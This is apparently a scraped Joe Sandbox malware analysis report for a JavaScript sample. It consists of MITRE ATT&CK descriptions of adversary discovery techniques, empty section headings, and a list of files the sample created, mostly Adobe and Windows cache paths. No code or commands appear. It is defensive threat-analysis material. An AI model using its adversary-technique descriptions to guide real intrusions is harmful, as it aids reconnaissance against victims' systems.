Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1012716259541818656.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\27a9853d-c640-4843-ad14-082ffffc84f3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7860

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1012716259541818656.js